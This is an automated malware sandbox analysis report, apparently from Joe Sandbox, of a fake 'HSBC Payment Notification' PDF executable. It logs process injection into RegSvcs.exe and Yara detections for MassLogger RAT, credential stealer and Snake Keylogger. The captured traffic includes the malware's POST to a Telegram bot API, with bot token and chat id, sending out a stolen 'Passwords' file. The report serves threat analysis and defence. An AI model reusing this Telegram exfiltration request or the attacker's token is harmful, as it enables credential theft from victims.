2024-12-11 08:26:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.175</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49716	149.154.167.220	443	7188	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 08:26:23 UTC	296	OUT	POST /bot7471415635:AAEA2wRbrQkd9OwoRD_hL1tDceuiErS34CY/sendDocument?chat_id=1613755033&caption=user%20/%20Passwords%20/%208.46.123.175 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd19939553a042 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-11 08:26:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 39 33 39 35 35 33 61 30 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd19939553a042Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-11 08:26:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 11 Dec 2024 08:26:24 GMT Content-Type: application/json Content-Length: 516 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-11 08:26:24 UTC	516	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 31 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 34 37 31 34 31 35 36 33 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 6c 75 77 61 6d 69 6d 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 6c 75 77 61 6d 69 6d 73 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 31 33 37 35 35 30 33 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 69 6d 73 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 39 30 35 35 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 2c 22 6d 69 6d 65 5f 74 Data Ascii: {"ok":true,"result":{"message_id":1123,"from":{"id":7471415635,"is_bot":true,"first_name":"oluwamims","username":"oluwamimsBot"},"chat":{"id":1613755033,"first_name":"Mims","type":"private"},"date":1733905584,"document":{"file_name":"Userdata.txt","mime_t

Target ID:	0
Start time:	03:26:04
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Imagebase:	0x400000
File size:	1'587'200 bytes
MD5 hash:	4BD5AB8C1D6EB0D7B601863A74471CF3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	03:26:05
Start date:	11/12/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'445'888 bytes
MD5 hash:	9244278F3A4B451378B09E3B314A4B1A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	03:26:05
Start date:	11/12/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'381'376 bytes
MD5 hash:	2AF371D31DE2620D08F24582BCC94F36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	03:26:06
Start date:	11/12/2024
Path:	C:\Windows\System32\drivers\AppVStrm.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	138'056 bytes
MD5 hash:	BDA55F89B69757320BC125FF1CB53B26
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	5
Start time:	03:26:06
Start date:	11/12/2024
Path:	C:\Windows\System32\drivers\AppvVemgr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	174'408 bytes
MD5 hash:	E70EE9B57F8D771E2F4D6E6B535F6757
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	03:26:06
Start date:	11/12/2024
Path:	C:\Windows\System32\drivers\AppvVfs.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	154'952 bytes
MD5 hash:	2CBABD729D5E746B6BD8DC1B4B4DB1E1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	03:26:06
Start date:	11/12/2024
Path:	C:\Windows\System32\AppVClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AppVClient.exe
Imagebase:	0x140000000
File size:	1'348'608 bytes
MD5 hash:	FEBB8A1C8444E585D00E9798A241F535
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	10
Start time:	03:26:08
Start date:	11/12/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	B19D2C88C8C42BA1F4C83060C439AAFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	03:26:09
Start date:	11/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	AB3EAE016DCC7F0026DB2D4EF2BCCB01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	12
Start time:	03:26:09
Start date:	11/12/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'512'448 bytes
MD5 hash:	E7E89E8BD2CB902CA372DA1022670BE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	03:26:10
Start date:	11/12/2024
Path:	C:\Windows\System32\msdtc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\msdtc.exe
Imagebase:	0x140000000
File size:	1'434'112 bytes
MD5 hash:	AAA284FF086F56BEC322CDE13CE5989C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	14
Start time:	03:26:10
Start date:	11/12/2024
Path:	C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Imagebase:	0x140000000
File size:	1'391'616 bytes
MD5 hash:	F3D51ACFF199999586D8F7FCE77371CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	15
Start time:	03:26:11
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\perfhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWow64\perfhost.exe
Imagebase:	0x400000
File size:	1'306'624 bytes
MD5 hash:	A01D0D18438CEA05470B157B11E94B3F
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	16
Start time:	03:26:11
Start date:	11/12/2024
Path:	C:\Windows\System32\Locator.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\locator.exe
Imagebase:	0x140000000
File size:	1'296'896 bytes
MD5 hash:	27C76B862642ACB46AB7DEFBFD73BFA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	17
Start time:	03:26:11
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Imagebase:	0xfd0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	18
Start time:	03:26:12
Start date:	11/12/2024
Path:	C:\Windows\System32\snmptrap.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\snmptrap.exe
Imagebase:	0x140000000
File size:	1'302'528 bytes
MD5 hash:	C3DD833FAFF8B6217772A5E66FF25F25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	19
Start time:	03:26:13
Start date:	11/12/2024
Path:	C:\Windows\System32\Spectrum.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\spectrum.exe
Imagebase:	0x140000000
File size:	1'455'616 bytes
MD5 hash:	72181D2F9FF55560F9C4B3AB19C98A62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	21
Start time:	03:26:13
Start date:	11/12/2024
Path:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Imagebase:	0x140000000
File size:	1'667'072 bytes
MD5 hash:	2DAADB2D9EE99D7F3C6EB0FA254025A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	22
Start time:	03:26:14
Start date:	11/12/2024
Path:	C:\Windows\System32\TieringEngineService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\TieringEngineService.exe
Imagebase:	0x140000000
File size:	1'611'264 bytes
MD5 hash:	5E4593411714FE016FDCC665AFE5D552
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	23
Start time:	03:26:15
Start date:	11/12/2024
Path:	C:\Windows\System32\AgentService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AgentService.exe
Imagebase:	0x140000000
File size:	1'801'216 bytes
MD5 hash:	8311FBEB6995BA81570173720F2B188B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	24
Start time:	03:26:15
Start date:	11/12/2024
Path:	C:\Windows\System32\vds.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vds.exe
Imagebase:	0x140000000
File size:	1'303'552 bytes
MD5 hash:	D2428B28D20D38757D35F80B6491A864
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	26
Start time:	03:26:17
Start date:	11/12/2024
Path:	C:\Windows\System32\wbengine.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wbengine.exe"
Imagebase:	0x140000000
File size:	2'164'736 bytes
MD5 hash:	7FEABE370E82D30A720E4A9459EFC1EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false